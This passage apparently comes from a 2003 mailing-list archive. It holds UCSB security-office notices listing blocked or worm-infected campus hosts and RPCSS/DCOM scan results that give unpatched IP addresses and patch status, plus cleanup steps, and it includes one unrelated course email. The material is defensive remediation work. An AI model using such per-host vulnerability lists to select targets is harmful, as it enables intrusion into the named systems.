128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.220.81 dhcp81.nceas.ucsb.edu 128.111.220.82 dhcp82.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.19.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.20.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.31.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.253 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.37.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.85 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.95 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.172 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.238 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.40.43 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.40.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.147 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.69 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.70.86 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.70.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.124 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.125 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.74.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.21 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.78.56 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.83.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.60 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.33 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.14 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.11 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.51 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.180 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.186 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.191 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.233 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.74 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.220 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.10 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.221.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 58 RPCSS Vulnerable ............................. 135 DCOM Disabled ................................ 66 Not Vulnerable ............................... 2810 Errors ....................................... 8 TCP Port 135 Closed or Host Timeout .......... 62517 TOTAL HOSTS SCANNED .......................... 65536 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id QAA04227 for ; Mon, 22 Sep 2003 16:20:32 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id QAA04690 for ; Mon, 22 Sep 2003 16:20:32 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A1Zyp-000LTt-Pq; Mon, 22 Sep 2003 16:20:31 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A1Zyn-000LTo-Ab for csf@ucsb.edu; Mon, 22 Sep 2003 16:20:29 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A1Zyn-000LTk-63 for csf@ucsb.edu; Mon, 22 Sep 2003 16:20:29 -0700 Date: Mon, 22 Sep 2003 16:20:28 -0700 From: E. Todd Atkins To: csf@ucsb.edu Message-ID: <232440000.1064272828@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A1Zyp-000LTt-Pq*uU.u7CCE9Ck* Hello, Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of blocked hosts: *** Filtered Hosts *** 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.55 harp.ece.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.55 hilsa.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.94.119 host94-119.lsdepts.ucsb.edu 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.90 henry.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.220.81 dhcp81.nceas.ucsb.edu 128.111.220.82 dhcp82.nceas.ucsb.edu 128.111.220.96 dhcp96.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Mon, 22 Sep 2003 18:00:20 -0500","problem 5, hw2","Hey CS352Hers, Just wanted to give you all a heads up that I provided help on the newsgroup about how to read in and convert numbers from a binary file for problem 5, hw2. Good luck, Jenn Sartor 352H TA ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA14454 for ; Tue, 23 Sep 2003 09:43:10 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA12221 for ; Tue, 23 Sep 2003 09:43:10 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A1qFp-0003n8-FG; Tue, 23 Sep 2003 09:43:09 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A1qFn-0003n3-Be for csf@ucsb.edu; Tue, 23 Sep 2003 09:43:07 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A1qFm-0003mz-WD for csf@ucsb.edu; Tue, 23 Sep 2003 09:43:07 -0700 Date: Tue, 23 Sep 2003 09:43:06 -0700 From: E. Todd Atkins To: csf@ucsb.edu Message-ID: <43570000.1064335386@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A1qFp-0003n8-FG*uYNmOngHK8c* Hello, Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here is the list of blocked hosts (64 total): 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.55 harp.ece.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.55 hilsa.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.94.119 host94-119.lsdepts.ucsb.edu 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.90 henry.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.139 host108-139.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.220.81 dhcp81.nceas.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA16062 for ; Tue, 23 Sep 2003 13:39:45 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA14408 for ; Tue, 23 Sep 2003 13:39:44 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A1twm-0006v9-Db; Tue, 23 Sep 2003 13:39:44 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A1twj-0006uy-Ej; Tue, 23 Sep 2003 13:39:41 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A1twj-0006uu-9Y; Tue, 23 Sep 2003 13:39:41 -0700 Date: Tue, 23 Sep 2003 13:39:40 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <143060000.1064349580@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A1twm-0006v9-Db*ERALrM8IxJ2* Hello, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. Also included is a list hosts that are vulnerable from a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.203 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.44.64 128.111.57.16 pilon.ece.ucsb.edu 128.111.58.55 harp.ece.ucsb.edu 128.111.69.54 ilab-04.cs.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.55 hilsa.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.94.119 host94-119.lsdepts.ucsb.edu 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.139 host108-139.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 